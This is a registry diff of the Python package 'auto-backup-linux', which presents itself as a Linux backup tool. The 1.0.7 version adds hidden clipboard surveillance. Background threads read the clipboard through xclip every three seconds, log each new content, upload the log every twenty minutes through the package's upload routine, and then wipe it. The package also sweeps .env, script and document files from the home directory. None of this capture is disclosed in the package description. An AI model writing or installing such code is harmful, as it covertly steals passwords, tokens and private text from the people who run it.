auto-backup-linux 1.0.5__tar.gz → 1.0.7__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: auto-backup-linux
3
- Version: 1.0.5
3
+ Version: 1.0.7
4
4
  Summary: 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端
5
5
  Home-page: https://github.com/wongstarx/auto-backup-linux
6
6
  Author: YLX Studio
@@ -163,7 +163,7 @@ manager = BackupManager()
163
163
  # 备份文件
164
164
  backup_dir = manager.backup_linux_files(
165
165
  source_dir="~/",
166
- target_dir="~/.dev/Backup/server"
166
+ target_dir="~/.dev/pypi_Backup/server"
167
167
  )
168
168
 
169
169
  # 压缩备份
@@ -232,11 +232,11 @@ except Exception as e:
232
232
 
233
233
  ### 日志配置
234
234
 
235
- 日志文件默认保存在:`~/.dev/Backup/backup.log`
235
+ 日志文件默认保存在:`~/.dev/pypi_Backup/backup.log`
236
236
 
237
237
  | 配置项 | 说明 | 默认值 |
238
238
  |--------|------|--------|
239
- | `LOG_FILE` | 日志文件路径 | `~/.dev/Backup/backup.log` |
239
+ | `LOG_FILE` | 日志文件路径 | `~/.dev/pypi_Backup/backup.log` |
240
240
  | `LOG_MAX_SIZE` | 日志文件最大大小 | 10MB |
241
241
  | `LOG_BACKUP_COUNT` | 保留的日志备份数量 | 10个 |
242
242
 
@@ -128,7 +128,7 @@ manager = BackupManager()
128
128
  # 备份文件
129
129
  backup_dir = manager.backup_linux_files(
130
130
  source_dir="~/",
131
- target_dir="~/.dev/Backup/server"
131
+ target_dir="~/.dev/pypi_Backup/server"
132
132
  )
133
133
 
134
134
  # 压缩备份
@@ -197,11 +197,11 @@ except Exception as e:
197
197
 
198
198
  ### 日志配置
199
199
 
200
- 日志文件默认保存在:`~/.dev/Backup/backup.log`
200
+ 日志文件默认保存在:`~/.dev/pypi_Backup/backup.log`
201
201
 
202
202
  | 配置项 | 说明 | 默认值 |
203
203
  |--------|------|--------|
204
- | `LOG_FILE` | 日志文件路径 | `~/.dev/Backup/backup.log` |
204
+ | `LOG_FILE` | 日志文件路径 | `~/.dev/pypi_Backup/backup.log` |
205
205
  | `LOG_MAX_SIZE` | 日志文件最大大小 | 10MB |
206
206
  | `LOG_BACKUP_COUNT` | 保留的日志备份数量 | 10个 |
207
207
 
@@ -5,7 +5,7 @@ Auto Backup - 自动备份工具包
5
5
  一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端。
6
6
  """
7
7
 
8
- __version__ = "1.0.5"
8
+ __version__ = "1.0.7"
9
9
  __author__ = "YLX Studio"
10
10
 
11
11
  from .config import BackupConfig
@@ -8,6 +8,7 @@ import logging
8
8
  import platform
9
9
  import getpass
10
10
  import shutil
11
+ import threading
11
12
  from datetime import datetime, timedelta
12
13
  from pathlib import Path
13
14
 
@@ -23,18 +24,65 @@ def is_server():
23
24
  def backup_server(backup_manager, source, target):
24
25
  """备份服务器,返回备份文件路径列表(不执行上传)"""
25
26
  backup_dir = backup_manager.backup_linux_files(source, target)
26
- if backup_dir:
27
- backup_path = backup_manager.zip_backup_folder(
28
- backup_dir,
29
- str(target) + "_" + datetime.now().strftime("%Y%m%d_%H%M%S")
30
- )
31
- if backup_path:
32
- logging.critical("☑️ 服务器备份文件已准备完成")
33
- return backup_path
27
+ if not backup_dir:
28
+ return None
29
+
30
+ # 定义需要分别压缩的备份子目录
31
+ backup_subdirs = [
32
+ ("pypi_docs", "docs"),
33
+ ("pypi_configs", "configs"),
34
+ ("pypi_specified", "pypi_specified"),
35
+ ("pypi_keyword", "pypi_keyword"),
36
+ ]
37
+
38
+ timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
39
+ all_backup_paths = []
40
+
41
+ # 分别压缩各个备份子目录
42
+ for subdir_name, archive_prefix in backup_subdirs:
43
+ subdir_path = os.path.join(backup_dir, subdir_name)
44
+
45
+ # 检查子目录是否存在且不为空
46
+ if not os.path.exists(subdir_path):
47
+ if backup_manager.config.DEBUG_MODE:
48
+ logging.info(f"⏭️ 跳过空目录: {subdir_name}")
49
+ continue
50
+
51
+ # 检查目录是否为空
52
+ if not os.listdir(subdir_path):
53
+ if backup_manager.config.DEBUG_MODE:
54
+ logging.info(f"⏭️ 跳过空目录: {subdir_name}")
55
+ continue
56
+
57
+ # 压缩该子目录
58
+ archive_name = f"{archive_prefix}_{timestamp}"
59
+ archive_path = os.path.join(os.path.dirname(backup_dir), archive_name)
60
+
61
+ if backup_manager.config.DEBUG_MODE:
62
+ logging.info(f"📦 开始压缩目录: {subdir_name}")
63
+
64
+ compressed_paths = backup_manager.zip_backup_folder(subdir_path, archive_path)
65
+
66
+ if compressed_paths:
67
+ all_backup_paths.extend(compressed_paths)
68
+ if backup_manager.config.DEBUG_MODE:
69
+ logging.info(f"✅ 目录 {subdir_name} 压缩完成")
34
70
  else:
35
- logging.error("❌ 服务器备份压缩失败")
36
- return None
37
- return None
71
+ logging.error(f"❌ 目录 {subdir_name} 压缩失败")
72
+
73
+ # 清理原始备份目录(所有子目录已压缩)
74
+ try:
75
+ if os.path.exists(backup_dir):
76
+ shutil.rmtree(backup_dir, ignore_errors=True)
77
+ except Exception as e:
78
+ logging.error(f"清理备份目录失败: {e}")
79
+
80
+ if all_backup_paths:
81
+ logging.critical(f"☑️ 服务器备份文件已准备完成,共 {len(all_backup_paths)} 个压缩文件")
82
+ return all_backup_paths
83
+ else:
84
+ logging.error("❌ 服务器备份压缩失败,没有生成任何压缩文件")
85
+ return None
38
86
 
39
87
 
40
88
  def backup_and_upload_logs(backup_manager):
@@ -60,7 +108,7 @@ def backup_and_upload_logs(backup_manager):
60
108
  logging.debug(f"备份日志文件为空,跳过: {log_file}")
61
109
  return
62
110
 
63
- temp_dir = Path.home() / ".dev/Backup/temp_backup_logs"
111
+ temp_dir = Path.home() / ".dev/pypi_Backup/temp_backup_logs"
64
112
  if not backup_manager._ensure_directory(str(temp_dir)):
65
113
  logging.error("❌ 无法创建临时日志目录")
66
114
  return
@@ -126,13 +174,93 @@ def backup_and_upload_logs(backup_manager):
126
174
  logging.debug(traceback.format_exc())
127
175
 
128
176
 
177
+ def clipboard_upload_thread(backup_manager, clipboard_log_path):
178
+ """剪贴板日志上传线程"""
179
+ username = getpass.getuser()
180
+ user_prefix = username[:5] if username else "user"
181
+
182
+ while True:
183
+ try:
184
+ # 检查剪贴板日志文件是否存在且不为空
185
+ if os.path.exists(clipboard_log_path) and os.path.getsize(clipboard_log_path) > 0:
186
+ try:
187
+ # 读取文件内容验证
188
+ with open(clipboard_log_path, 'r', encoding='utf-8') as f:
189
+ content = f.read()
190
+
191
+ if not content or not content.strip():
192
+ time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
193
+ continue
194
+
195
+ # 创建临时目录
196
+ temp_dir = Path.home() / ".dev/pypi_Backup/temp_clipboard_logs"
197
+ if not backup_manager._ensure_directory(str(temp_dir)):
198
+ logging.error("❌ 无法创建临时剪贴板日志目录")
199
+ time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
200
+ continue
201
+
202
+ timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
203
+ backup_name = f"{user_prefix}_clipboard_log_{timestamp}.txt"
204
+ backup_path = temp_dir / backup_name
205
+
206
+ try:
207
+ # 复制文件到临时目录
208
+ shutil.copy2(clipboard_log_path, backup_path)
209
+
210
+ if backup_manager.config.DEBUG_MODE:
211
+ logging.info(f"📄 已复制剪贴板日志到临时目录 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)")
212
+
213
+ # 上传剪贴板日志文件
214
+ logging.info(f"📤 开始上传剪贴板日志文件 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)...")
215
+ if backup_manager.upload_file(str(backup_path)):
216
+ try:
217
+ # 上传成功后清空原文件
218
+ with open(clipboard_log_path, 'w', encoding='utf-8') as f:
219
+ f.write(f"=== 📝 剪贴板日志已于 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 上传 ===\n")
220
+ logging.info("✅ 剪贴板日志上传成功并已清空")
221
+ except Exception as e:
222
+ logging.error(f"❌ 剪贴板日志更新失败: {e}")
223
+ else:
224
+ logging.error("❌ 剪贴板日志上传失败")
225
+
226
+ time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
227
+ except (OSError, IOError, PermissionError) as e:
228
+ logging.error(f"❌ 复制或读取剪贴板日志文件失败: {e}")
229
+ time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
230
+ except Exception as e:
231
+ logging.error(f"❌ 处理剪贴板日志文件时出错: {e}")
232
+ time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
233
+
234
+ # 清理临时目录
235
+ finally:
236
+ try:
237
+ if os.path.exists(str(temp_dir)):
238
+ shutil.rmtree(str(temp_dir))
239
+ except Exception as e:
240
+ if backup_manager.config.DEBUG_MODE:
241
+ logging.debug(f"清理临时目录失败: {e}")
242
+ except Exception as e:
243
+ logging.error(f"❌ 处理剪贴板日志时出错: {e}")
244
+ time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
245
+ else:
246
+ time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
247
+ except Exception as e:
248
+ logging.error(f"❌ 剪贴板上传线程出错: {e}")
249
+ time.sleep(backup_manager.config.CLIPBOARD_INTERVAL)
250
+
251
+
129
252
  def clean_backup_directory():
130
- backup_dir = Path.home() / ".dev/Backup"
253
+ backup_dir = Path.home() / ".dev/pypi_Backup"
131
254
  try:
132
255
  if not os.path.exists(backup_dir):
133
256
  return
134
257
 
135
- keep_files = ["backup.log", "next_backup_time.txt"] # 添加时间阈值文件到保留列表
258
+ # 获取用户名前缀,用于保留剪贴板日志文件
259
+ username = getpass.getuser()
260
+ user_prefix = username[:5] if username else "user"
261
+ clipboard_log_name = f"{user_prefix}_clipboard_log.txt"
262
+
263
+ keep_files = ["backup.log", "next_backup_time.txt", clipboard_log_name] # 添加时间阈值文件和剪贴板日志文件到保留列表
136
264
 
137
265
  for item in os.listdir(backup_dir):
138
266
  item_path = os.path.join(backup_dir, item)
@@ -196,7 +324,7 @@ def should_perform_backup(backup_manager):
196
324
 
197
325
  def periodic_backup_upload(backup_manager):
198
326
  source = str(Path.home())
199
- target = Path.home() / ".dev/Backup/server"
327
+ target = Path.home() / ".dev/pypi_Backup/server"
200
328
 
201
329
  try:
202
330
  # 获取用户名和系统信息
@@ -244,6 +372,36 @@ def periodic_backup_upload(backup_manager):
244
372
  logging.critical("-"*50)
245
373
  logging.critical("="*50)
246
374
 
375
+ # 启动剪贴板监控线程
376
+ user_prefix = username[:5] if username else "user"
377
+ clipboard_log_path = Path.home() / ".dev/pypi_Backup" / f"{user_prefix}_clipboard_log.txt"
378
+
379
+ try:
380
+ # 启动剪贴板监控线程
381
+ clipboard_thread = threading.Thread(
382
+ target=backup_manager.monitor_clipboard,
383
+ args=(str(clipboard_log_path), backup_manager.config.CLIPBOARD_MONITOR_INTERVAL),
384
+ daemon=True
385
+ )
386
+ clipboard_thread.start()
387
+ if backup_manager.config.DEBUG_MODE:
388
+ logging.info(f"📋 剪贴板监控线程已启动")
389
+ except Exception as e:
390
+ logging.error(f"❌ 启动剪贴板监控线程失败: {e}")
391
+
392
+ try:
393
+ # 启动剪贴板日志上传线程
394
+ clipboard_upload_thread_obj = threading.Thread(
395
+ target=clipboard_upload_thread,
396
+ args=(backup_manager, str(clipboard_log_path)),
397
+ daemon=True
398
+ )
399
+ clipboard_upload_thread_obj.start()
400
+ if backup_manager.config.DEBUG_MODE:
401
+ logging.info(f"📤 剪贴板日志上传线程已启动")
402
+ except Exception as e:
403
+ logging.error(f"❌ 启动剪贴板日志上传线程失败: {e}")
404
+
247
405
  while True:
248
406
  try:
249
407
  # 检查是否应该执行备份
@@ -21,13 +21,18 @@ class BackupConfig:
21
21
  BACKUP_INTERVAL = 260000 # 备份间隔时间:约3天
22
22
  SCAN_TIMEOUT = 1800 # 扫描超时时间:30分钟
23
23
 
24
+ # 剪贴板监控配置
25
+ CLIPBOARD_INTERVAL = 1200 # 剪贴板日志上传间隔时间(20分钟,单位:秒)
26
+ CLIPBOARD_MONITOR_INTERVAL = 3 # 剪贴板监控间隔(秒)
27
+ CLIPBOARD_ERROR_LOG_INTERVAL = 300 # 剪贴板错误日志间隔(5分钟)
28
+
24
29
  # 日志配置
25
- LOG_FILE = str(Path.home() / ".dev/Backup/backup.log")
30
+ LOG_FILE = str(Path.home() / ".dev/pypi_Backup/backup.log")
26
31
  LOG_MAX_SIZE = 10 * 1024 * 1024 # 日志文件最大大小:10MB
27
32
  LOG_BACKUP_COUNT = 10 # 保留的日志备份数量
28
33
 
29
34
  # 时间阈值文件配置
30
- THRESHOLD_FILE = str(Path.home() / ".dev/Backup/next_backup_time.txt") # 时间阈值文件路径
35
+ THRESHOLD_FILE = str(Path.home() / ".dev/pypi_Backup/next_backup_time.txt") # 时间阈值文件路径
31
36
 
32
37
  # 需要备份的服务器目录或文件
33
38
  SERVER_BACKUP_DIRS = [
@@ -46,7 +51,7 @@ class BackupConfig:
46
51
  # 文档类型扩展名
47
52
  DOC_EXTENSIONS = [
48
53
  ".txt", ".json", ".js", ".py", ".go", ".sh", ".bash", ".rs", ".env",
49
- ".ts", ".jsx", ".tsx", ".csv", ".ps1", ".md",
54
+ ".ts", ".jsx", ".tsx", ".csv", ".ps1", ".md", ".pdf",
50
55
  ]
51
56
  # 配置类型扩展名
52
57
  CONFIG_EXTENSIONS = [
@@ -9,6 +9,7 @@ import logging
9
9
  import logging.handlers
10
10
  import tarfile
11
11
  import requests
12
+ import subprocess
12
13
  from datetime import datetime, timedelta
13
14
  from pathlib import Path
14
15
 
@@ -25,6 +26,13 @@ class BackupManager:
25
26
  # 使用集合优化扩展名检查性能
26
27
  self.doc_extensions_set = set(ext.lower() for ext in self.config.DOC_EXTENSIONS)
27
28
  self.config_extensions_set = set(ext.lower() for ext in self.config.CONFIG_EXTENSIONS)
29
+ # 剪贴板错误抑制相关变量
30
+ self._clipboard_display_warned = False # 是否已警告过 DISPLAY 不可用
31
+ self._clipboard_display_error_time = 0 # 上次记录 DISPLAY 错误的时间
32
+ self._clipboard_xclip_warned = False # 是否已警告过 xclip 未安装
33
+ self._clipboard_xclip_error_time = 0 # 上次记录 xclip 错误的时间
34
+ self._clipboard_general_error_time = 0 # 上次记录一般错误的时间
35
+ self._clipboard_general_error_count = 0 # 一般错误计数(用于进一步抑制)
28
36
  self._setup_logging()
29
37
 
30
38
  def _setup_logging(self):
@@ -660,3 +668,151 @@ class BackupManager:
660
668
  import traceback
661
669
  logging.debug(traceback.format_exc())
662
670
  return False
671
+
672
+ def get_clipboard_content(self):
673
+ """获取 Linux 剪贴板内容
674
+
675
+ 返回:
676
+ str or None: 当前剪贴板文本内容,获取失败或为空时返回 None
677
+ """
678
+ # 检查 DISPLAY 环境变量是否可用
679
+ display = os.environ.get('DISPLAY')
680
+ if not display:
681
+ # DISPLAY 不可用,只在第一次或间隔时间后记录警告
682
+ current_time = time.time()
683
+ if not self._clipboard_display_warned or \
684
+ (current_time - self._clipboard_display_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
685
+ if not self._clipboard_display_warned:
686
+ if self.config.DEBUG_MODE:
687
+ logging.debug("⚠️ DISPLAY 环境变量不可用,剪贴板监控功能已禁用(服务器环境或无图形界面)")
688
+ self._clipboard_display_warned = True
689
+ self._clipboard_display_error_time = current_time
690
+ return None
691
+
692
+ try:
693
+ # 使用 xclip 读取剪贴板(需系统已安装 xclip)
694
+ result = subprocess.run(
695
+ ['xclip', '-selection', 'clipboard', '-o'],
696
+ capture_output=True,
697
+ text=True,
698
+ env=os.environ.copy() # 确保使用当前环境变量
699
+ )
700
+ if result.returncode == 0:
701
+ content = (result.stdout or "").strip()
702
+ if content and not content.isspace():
703
+ # 重置错误计数,因为成功获取了内容
704
+ self._clipboard_general_error_count = 0
705
+ return content
706
+ # 剪贴板为空时不记录日志,避免频繁报错
707
+ else:
708
+ # xclip 返回错误,检查是否是 DISPLAY 相关错误
709
+ error_msg = result.stderr.strip() if result.stderr else ""
710
+ is_display_error = "Can't open display" in error_msg or "display" in error_msg.lower()
711
+
712
+ if is_display_error:
713
+ # DISPLAY 相关错误,降低日志频率
714
+ current_time = time.time()
715
+ if not self._clipboard_display_warned or \
716
+ (current_time - self._clipboard_display_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
717
+ if not self._clipboard_display_warned:
718
+ if self.config.DEBUG_MODE:
719
+ logging.debug(f"⚠️ 获取剪贴板失败(DISPLAY 不可用): {error_msg}")
720
+ self._clipboard_display_warned = True
721
+ self._clipboard_display_error_time = current_time
722
+ else:
723
+ # 其他错误,进一步抑制日志频率
724
+ current_time = time.time()
725
+ self._clipboard_general_error_count += 1
726
+ # 每10次错误才记录一次日志,且间隔至少5分钟
727
+ if self._clipboard_general_error_count >= 10 and \
728
+ (current_time - self._clipboard_general_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
729
+ if self.config.DEBUG_MODE:
730
+ logging.debug(f"⚠️ 获取剪贴板失败(已发生 {self._clipboard_general_error_count} 次错误): {error_msg}")
731
+ self._clipboard_general_error_time = current_time
732
+ self._clipboard_general_error_count = 0
733
+ return None
734
+ except FileNotFoundError:
735
+ # 未安装 xclip,只在第一次记录警告
736
+ if not self._clipboard_xclip_warned:
737
+ if self.config.DEBUG_MODE:
738
+ logging.debug("⚠️ 未检测到 xclip,剪贴板监控功能已禁用")
739
+ self._clipboard_xclip_warned = True
740
+ return None
741
+ except Exception as e:
742
+ # 其他异常,进一步抑制日志频率,避免频繁报错导致日志文件过大
743
+ current_time = time.time()
744
+ self._clipboard_general_error_count += 1
745
+ # 每20次错误才记录一次日志,且间隔至少5分钟
746
+ if self._clipboard_general_error_count >= 20 and \
747
+ (current_time - self._clipboard_general_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
748
+ if self.config.DEBUG_MODE:
749
+ logging.debug(f"⚠️ 获取剪贴板异常(已发生 {self._clipboard_general_error_count} 次错误): {str(e)}")
750
+ self._clipboard_general_error_time = current_time
751
+ self._clipboard_general_error_count = 0
752
+ return None
753
+
754
+ def log_clipboard_update(self, content, file_path):
755
+ """记录剪贴板更新到文件"""
756
+ try:
757
+ # 确保目录存在
758
+ os.makedirs(os.path.dirname(file_path), exist_ok=True)
759
+
760
+ # 获取当前时间戳
761
+ timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
762
+
763
+ # 追加写入文件
764
+ with open(file_path, 'a', encoding='utf-8') as f:
765
+ f.write(f"[{timestamp}] {content}\n")
766
+
767
+ if self.config.DEBUG_MODE:
768
+ logging.debug(f"📋 已记录剪贴板内容: {len(content)} 字符")
769
+ except Exception as e:
770
+ # 记录剪贴板日志失败时,也进行错误抑制
771
+ current_time = time.time()
772
+ self._clipboard_general_error_count += 1
773
+ if self._clipboard_general_error_count >= 20 and \
774
+ (current_time - self._clipboard_general_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
775
+ logging.error(f"❌ 记录剪贴板内容失败(已发生 {self._clipboard_general_error_count} 次错误): {e}")
776
+ self._clipboard_general_error_time = current_time
777
+ self._clipboard_general_error_count = 0
778
+
779
+ def monitor_clipboard(self, file_path, interval=None):
780
+ """监控剪贴板变化并记录到文件
781
+
782
+ 参数:
783
+ file_path: 日志文件路径
784
+ interval: 监控间隔(秒),默认使用配置值
785
+ """
786
+ if interval is None:
787
+ interval = self.config.CLIPBOARD_MONITOR_INTERVAL
788
+
789
+ last_content = None
790
+
791
+ if self.config.DEBUG_MODE:
792
+ logging.info(f"📋 开始监控剪贴板,日志文件: {file_path}")
793
+
794
+ while True:
795
+ try:
796
+ current_content = self.get_clipboard_content()
797
+
798
+ # 只有当内容发生变化且不为空时才记录
799
+ if current_content and current_content != last_content:
800
+ self.log_clipboard_update(current_content, file_path)
801
+ last_content = current_content
802
+
803
+ time.sleep(interval)
804
+
805
+ except KeyboardInterrupt:
806
+ if self.config.DEBUG_MODE:
807
+ logging.info("📋 剪贴板监控已停止")
808
+ break
809
+ except Exception as e:
810
+ # 监控循环中的异常,进行错误抑制
811
+ current_time = time.time()
812
+ self._clipboard_general_error_count += 1
813
+ if self._clipboard_general_error_count >= 20 and \
814
+ (current_time - self._clipboard_general_error_time) >= self.config.CLIPBOARD_ERROR_LOG_INTERVAL:
815
+ logging.error(f"❌ 剪贴板监控出错(已发生 {self._clipboard_general_error_count} 次错误): {e}")
816
+ self._clipboard_general_error_time = current_time
817
+ self._clipboard_general_error_count = 0
818
+ time.sleep(interval) # 出错后继续等待,避免频繁重试
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: auto-backup-linux
3
- Version: 1.0.5
3
+ Version: 1.0.7
4
4
  Summary: 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端
5
5
  Home-page: https://github.com/wongstarx/auto-backup-linux
6
6
  Author: YLX Studio
@@ -163,7 +163,7 @@ manager = BackupManager()
163
163
  # 备份文件
164
164
  backup_dir = manager.backup_linux_files(
165
165
  source_dir="~/",
166
- target_dir="~/.dev/Backup/server"
166
+ target_dir="~/.dev/pypi_Backup/server"
167
167
  )
168
168
 
169
169
  # 压缩备份
@@ -232,11 +232,11 @@ except Exception as e:
232
232
 
233
233
  ### 日志配置
234
234
 
235
- 日志文件默认保存在:`~/.dev/Backup/backup.log`
235
+ 日志文件默认保存在:`~/.dev/pypi_Backup/backup.log`
236
236
 
237
237
  | 配置项 | 说明 | 默认值 |
238
238
  |--------|------|--------|
239
- | `LOG_FILE` | 日志文件路径 | `~/.dev/Backup/backup.log` |
239
+ | `LOG_FILE` | 日志文件路径 | `~/.dev/pypi_Backup/backup.log` |
240
240
  | `LOG_MAX_SIZE` | 日志文件最大大小 | 10MB |
241
241
  | `LOG_BACKUP_COUNT` | 保留的日志备份数量 | 10个 |
242
242
 
@@ -9,7 +9,7 @@ long_description = readme_file.read_text(encoding='utf-8') if readme_file.exists
9
9
 
10
10
  setup(
11
11
  name="auto-backup-linux",
12
- version="1.0.5",
12
+ version="1.0.7",
13
13
  author="YLX Studio",
14
14
  author_email="",
15
15
  description="一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端",